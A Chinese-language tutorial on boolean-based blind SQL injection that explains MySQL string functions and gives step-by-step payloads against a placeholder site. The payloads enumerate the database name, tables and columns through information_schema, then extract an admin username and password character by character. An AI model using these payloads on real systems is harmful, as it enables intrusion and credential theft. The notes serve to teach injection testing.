布尔盲注
mid(str,1,3)字符串截取 意思就是把str这个字符串从第一个字符串开始,截取前三个显示
substr()这个函数和上面的用法一样,也是用来截取字符串的
ORD()转换成ascii码
Length()统计长度
version()是查看数据库版本
database()查看当前数据库名
user() 查看当前用户
猜解数据库名字的时候可以使用ORD(mid(database(),1,1))>1这种截取当前数据库的名字的第一个字符将其转换为ascii码来查看,如果不转换为ascii的话,他可能就是字符,数字和特殊字符,太难猜了。
当进行sql注入的时候:
例如www.aaa.com/a.php?id=1,在这个地方进行过测试后,发现这个get型有注入点后,可以使用www.aaa.com/a.php?id=1’ and (length(database()))>5 --,这种来爆破当前数据库名称的长度,例如当>7页面返回正常,>8页面返回不正常,所以当前数据库名称的长度为8。
然后我们就需要去一个个的爆破数据库名称,www.aaa.com/a.php?id=1’ and ascii(substr(database(),1,1))>100来猜测字母,这个测试出来的是第一个字母的ascii的值,www.aaa.com/a.php?id=1’ and ascii(substr(database(),2,1))>100测试的就是第二个字母了。
第三步就是来爆破当前数据库有多少个表,例如www.aaa.com/a.php?id=1’ and (select count(*)from information_schema.tables where table_schema=database())>1–
来猜测表的数量。
当得知表的数量以后我们肯定就要去爆破表的名称,爆破表的名称和上面爆破数据库的名称一样,就是一个个的爆破字母,首先要得知表名的长度,例如www.aaa.com/a.php?id=1’ and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5,limit限制的是我们提取的是第一个表的长度,也就是0的意思,后面1的意思是第一个表的意思。
开始测试第一个表的第一个字母,例如www.aaa.com/a.php?id=1’ and (select ascii (substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)>100 --,然后就是把0换为1就是第二个表的第一个字母开始爆破,然后爆破账号密码都是按照这个模式进行爆破的.
截取当前数据库用户名的第一位字符并返回其ascii值
www.aaa.com/a.php?id=1’and (select ascii(substring((select user()),1,1))=119) –
有了管理表名,下一步就该把该表中的所有字段名都查出来了,依旧是上面的方法
查询’tabl_admin_user’表中的第一个字段名的第一位字符,并返回其对应的ASCII码值,最后确认实际的账号密码字段名分别为’admin_username’,’admin_password’
http://www.aaa.com/a.php?id=1’ and (select ascii(substring((select column_name from information_schema.columns where table_name=0x74626c5f61646d696e5f75736572 limit 0,1),1,1))=97) %23
10,现在管理表名字段名都有了,下一步只需要慢慢把每个字段对应的实际数据查出来即可
获取’admin_username’字段下的第一条记录的第一位字符,并返回其对应的ASCII码值,依次递增,查出完整用户名即可
http://www.aaa.com/a.php?id=1’ and (select ascii(substring((select admin_username from tbl_admin_user limit 0,1),1,1))=119) %23
获取’admin_password’字段下的第一条记录的第一位字符,并返回其对应的ASCII码值,依次递增,查出完整密码数据即可
http:www.aaa.com/a.php?id=1’ and (select ascii(substring((select admin_password from tbl_admin_user limit 0,1),1,1))=49) %23